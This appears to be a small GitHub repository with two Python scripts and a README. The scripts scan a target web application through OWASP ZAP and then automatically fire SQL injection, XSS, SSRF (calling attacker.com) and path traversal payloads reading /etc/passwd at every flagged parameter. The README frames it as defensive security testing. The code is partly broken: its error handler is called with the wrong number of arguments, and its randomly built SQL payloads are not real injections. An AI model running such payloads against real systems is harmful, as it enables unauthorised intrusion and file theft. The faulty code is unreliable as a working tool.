├── Ai security url 2(auto generate sql and xss payload).py ├── Ai security url.py └── README.md /Ai security url 2(auto generate sql and xss payload).py: -------------------------------------------------------------------------------- 1 | import logging 2 | from zapv2 import ZAPv2 3 | import requests 4 | import urllib.parse 5 | import random 6 | import string 7 | 8 | # Configuration settings (customize as needed) 9 | target_url = "http://example.com" # Replace with your target URL 10 | zap_api_key = "your_api_key" # Replace with your actual ZAP API key 11 | 12 | # Set up logging 13 | logging.basicConfig(filename='security_testing.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') 14 | 15 | # Check if ZAP proxy is running 16 | try: 17 | zap = ZAPv2(apikey=zap_api_key, proxies={"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}) 18 | except Exception as e: 19 | logging.error("Failed to connect to ZAP proxy: %s", str(e)) 20 | exit(1) 21 | 22 | # Function to handle exceptions gracefully and log errors 23 | def handle_error(error_message): 24 | logging.error(error_message) 25 | 26 | # Function to generate a random SQL injection payload 27 | def generate_random_sql_payload(): 28 | # Define a list of SQL keywords and operators for injection 29 | sql_keywords = ["SELECT", "INSERT", "UPDATE", "DELETE", "DROP", "UNION", "OR", "AND"] 30 | sql_operators = ["=", "<>", "<", ">", "<=", ">="] 31 | 32 | # Generate a random SQL keyword and operator 33 | random_keyword = random.choice(sql_keywords) 34 | random_operator = random.choice(sql_operators) 35 | 36 | # Generate a random string for the value 37 | random_value = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(1, 10))) 38 | 39 | # Combine the parts into a random SQL injection payload 40 | sql_payload = f"{random_keyword} {random_value} {random_operator} {random_value}" 41 | 42 | return sql_payload 43 | 44 | # Function to generate a random XSS payload 45 | def generate_random_xss_payload(): 46 | # Define a list of common XSS attack vectors 47 | xss_vectors = [ 48 | "", 49 | "", 50 | "Click Me", 51 | "';alert('XSS');'", 52 | "", 53 | "", 54 | ] 55 | 56 | # Select a random XSS payload 57 | random_payload = random.choice(xss_vectors) 58 | 59 | return random_payload 60 | 61 | # Define functions to exploit specific vulnerabilities 62 | def exploit_sql_injection(url, param): 63 | try: 64 | # Generate a random SQL Injection payload 65 | sql_payload = generate_random_sql_payload() 66 | 67 | # Craft the malicious URL 68 | malicious_url = f"{url}?{param}={urllib.parse.quote(sql_payload)}" 69 | 70 | # Send a GET request to the malicious URL 71 | response = requests.get(malicious_url) 72 | 73 | # Print or handle the response as needed 74 | logging.info("SQL Injection Exploited: %s", response.status_code) 75 | 76 | except Exception as e: 77 | handle_error("Error in SQL Injection Exploitation: %s", str(e)) 78 | 79 | def exploit_xss(url, param): 80 | try: 81 | # Generate a random XSS payload 82 | xss_payload = generate_random_xss_payload() 83 | 84 | # Craft the malicious URL 85 | malicious_url = f"{url}?{param}={urllib.parse.quote(xss_payload)}" 86 | 87 | # Send a GET request to the malicious URL 88 | response = requests.get(malicious_url) 89 | 90 | # Print or handle the response as needed 91 | logging.info("XSS Exploited: %s", response.status_code) 92 | 93 | except Exception as e: 94 | handle_error("Error in XSS Exploitation: %s", str(e)) 95 | 96 | def exploit_ssrf(url, param): 97 | try: 98 | # Generate an SSRF payload (customize as needed) 99 | ssrf_payload = "http://attacker.com/malicious-resource" 100 | 101 | # Craft the malicious URL 102 | malicious_url = f"{url}?{param}={urllib.parse.quote(ssrf_payload)}" 103 | 104 | # Send a GET request to the malicious URL 105 | response = requests.get(malicious_url) 106 | 107 | # Print or handle the response as needed 108 | logging.info("SSRF Exploited: %s", response.status_code) 109 | 110 | except Exception as e: 111 | handle_error("Error in SSRF Exploitation: %s", str(e)) 112 | 113 | def exploit_path_traversal(url, param): 114 | try: 115 | # Generate a path traversal payload (customize as needed) 116 | path_payload = "../../../../etc/passwd" 117 | 118 | # Craft the malicious URL 119 | malicious_url = f"{url}?{param}={urllib.parse.quote(path_payload)}" 120 | 121 | # Send a GET request to the malicious URL 122 | response = requests.get(malicious_url) 123 | 124 | # Print or handle the response as needed 125 | logging.info("Path Traversal Exploited: %s", response.status_code) 126 | 127 | except Exception as e: 128 | handle_error("Error in Path Traversal Exploitation: %s", str(e)) 129 | 130 | # Access the ZAP spiders and active scan 131 | try: 132 | zap.spider.scan(target_url) 133 | zap.spider.wait_for_complete() 134 | zap.active_scan.scan(target_url) 135 | zap.active_scan.wait_for_complete() 136 | 137 | # Get a list of alerts (vulnerabilities) 138 | alerts = zap.core.alerts() 139 | 140 | # Define a dictionary to map alert names to exploit functions 141 | exploit_functions = { 142 | "SQL Injection": exploit_sql_injection, 143 | "Cross-Site Scripting (XSS)": exploit_xss, 144 | "Server-Side Request Forgery (SSRF)": exploit_ssrf, 145 | "Path Traversal": exploit_path_traversal, # Add path traversal function 146 | # Add more vulnerability types and corresponding exploit functions as needed 147 | } 148 | 149 | # Iterate through alerts and exploit vulnerabilities if functions are defined 150 | for alert in alerts: 151 | alert_name = alert['alert'] 152 | if alert_name in exploit_functions: 153 | logging.info(f"Exploiting {alert_name} at URL: {alert['url']}") 154 | exploit_functions[alert_name](alert['url'], alert['param']) 155 | 156 | except Exception as e: 157 | handle_error("An error occurred in the main script: %s", str(e)) 158 | 159 | # Shutdown ZAP 160 | zap.core.shutdown() 161 | -------------------------------------------------------------------------------- /Ai security url.py: -------------------------------------------------------------------------------- 1 | import logging 2 | from zapv2 import ZAPv2 3 | import requests 4 | import urllib.parse 5 | 6 | # Configuration settings (customize as needed) 7 | target_url = "http://example.com" # Replace with your target URL 8 | zap_api_key = "your_api_key" # Replace with your actual ZAP API key 9 | 10 | # Set up logging 11 | logging.basicConfig(filename='security_testing.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') 12 | 13 | # Check if ZAP proxy is running 14 | try: 15 | zap = ZAPv2(apikey=zap_api_key, proxies={"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}) 16 | except Exception as e: 17 | logging.error("Failed to connect to ZAP proxy: %s", str(e)) 18 | exit(1) 19 | 20 | # Function to handle exceptions gracefully and log errors 21 | def handle_error(error_message): 22 | logging.error(error_message) 23 | 24 | # Define functions to exploit specific vulnerabilities 25 | def exploit_sql_injection(url, param): 26 | try: 27 | # Generate a simple SQL Injection payload (customize as needed) 28 | sql_payload = "' OR '1'='1" 29 | 30 | # Craft the malicious URL 31 | malicious_url = f"{url}?{param}={urllib.parse.quote(sql_payload)}" 32 | 33 | # Send a GET request to the malicious URL 34 | response = requests.get(malicious_url) 35 | 36 | # Print or handle the response as needed 37 | logging.info("SQL Injection Exploited: %s", response.status_code) 38 | 39 | except Exception as e: 40 | handle_error("Error in SQL Injection Exploitation: %s", str(e)) 41 | 42 | def exploit_xss(url, param): 43 | try: 44 | # Generate a simple XSS payload (customize as needed) 45 | xss_payload = "" 46 | 47 | # Craft the malicious URL 48 | malicious_url = f"{url}?{param}={urllib.parse.quote(xss_payload)}" 49 | 50 | # Send a GET request to the malicious URL 51 | response = requests.get(malicious_url) 52 | 53 | # Print or handle the response as needed 54 | logging.info("XSS Exploited: %s", response.status_code) 55 | 56 | except Exception as e: 57 | handle_error("Error in XSS Exploitation: %s", str(e)) 58 | 59 | def exploit_ssrf(url, param): 60 | try: 61 | # Generate an SSRF payload (customize as needed) 62 | ssrf_payload = "http://attacker.com/malicious-resource" 63 | 64 | # Craft the malicious URL 65 | malicious_url = f"{url}?{param}={urllib.parse.quote(ssrf_payload)}" 66 | 67 | # Send a GET request to the malicious URL 68 | response = requests.get(malicious_url) 69 | 70 | # Print or handle the response as needed 71 | logging.info("SSRF Exploited: %s", response.status_code) 72 | 73 | except Exception as e: 74 | handle_error("Error in SSRF Exploitation: %s", str(e)) 75 | 76 | def exploit_path_traversal(url, param): 77 | try: 78 | # Generate a path traversal payload (customize as needed) 79 | path_payload = "../../../../etc/passwd" 80 | 81 | # Craft the malicious URL 82 | malicious_url = f"{url}?{param}={urllib.parse.quote(path_payload)}" 83 | 84 | # Send a GET request to the malicious URL 85 | response = requests.get(malicious_url) 86 | 87 | # Print or handle the response as needed 88 | logging.info("Path Traversal Exploited: %s", response.status_code) 89 | 90 | except Exception as e: 91 | handle_error("Error in Path Traversal Exploitation: %s", str(e)) 92 | 93 | # Access the ZAP spiders and active scan 94 | try: 95 | zap.spider.scan(target_url) 96 | zap.spider.wait_for_complete() 97 | zap.active_scan.scan(target_url) 98 | zap.active_scan.wait_for_complete() 99 | 100 | # Get a list of alerts (vulnerabilities) 101 | alerts = zap.core.alerts() 102 | 103 | # Define a dictionary to map alert names to exploit functions 104 | exploit_functions = { 105 | "SQL Injection": exploit_sql_injection, 106 | "Cross-Site Scripting (XSS)": exploit_xss, 107 | "Server-Side Request Forgery (SSRF)": exploit_ssrf, 108 | "Path Traversal": exploit_path_traversal, # Add path traversal function 109 | # Add more vulnerability types and corresponding exploit functions as needed 110 | } 111 | 112 | # Iterate through alerts and exploit vulnerabilities if functions are defined 113 | for alert in alerts: 114 | alert_name = alert['alert'] 115 | if alert_name in exploit_functions: 116 | logging.info(f"Exploiting {alert_name} at URL: {alert['url']}") 117 | exploit_functions[alert_name](alert['url'], alert['param']) 118 | 119 | except Exception as e: 120 | handle_error("An error occurred in the main script: %s", str(e)) 121 | 122 | # Shutdown ZAP 123 | zap.core.shutdown() 124 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # 🌐 AI Security URL Testing 🛠️ 4 | 5 | ## Automated Payload Generation for SQL and XSS 🚀 6 | 7 | ### Introduction 8 | 9 | Unleash the power of security testing with this Python script! 🐍 Designed for automated vulnerability testing on web applications, it seamlessly integrates with OWASP ZAP (Zed Attack Proxy). This script isn't just a tool; it's your ally in the ongoing battle against cyber threats. Defend your web applications with confidence, exploit vulnerabilities, and fortify your digital fortress. 10 | 11 | #utomatic Generate Payload and Exploit(SQL XSS SSRF & Path travel) 12 | 13 | ### Prerequisites 14 | 15 | Before diving into the action, ensure your setup is ready: 16 | 17 | - 🐍 Python 3.x installed on your machine. 18 | - 📚 Necessary Python libraries installed (ZAPv2, requests). 19 | - 🔄 OWASP ZAP proxy up and running, configured according to your specific needs. 20 | - 🔑 API key for ZAP API authentication. 21 | 22 | ### Usage 23 | 24 | 1. 🌀 Clone this repository to your local machine. 25 | 26 | 2. 🎯 Set the target URL: 27 | ```python 28 | target_url = "http://example.com" 29 | ``` 30 | Replace it with the URL of your target web application. 31 | 32 | 3. 🚀 Run the script and let it automate the process of generating payloads for SQL Injection and XSS vulnerabilities. 33 | 34 | Feel the freedom to explore, contribute, and enhance the capabilities of this security testing tool. Your feedback and improvements are not just welcomed; they're celebrated! 🎉 35 | 36 | --- 37 | 38 | Feel free to customize it further to match your style and preferences! 39 | --------------------------------------------------------------------------------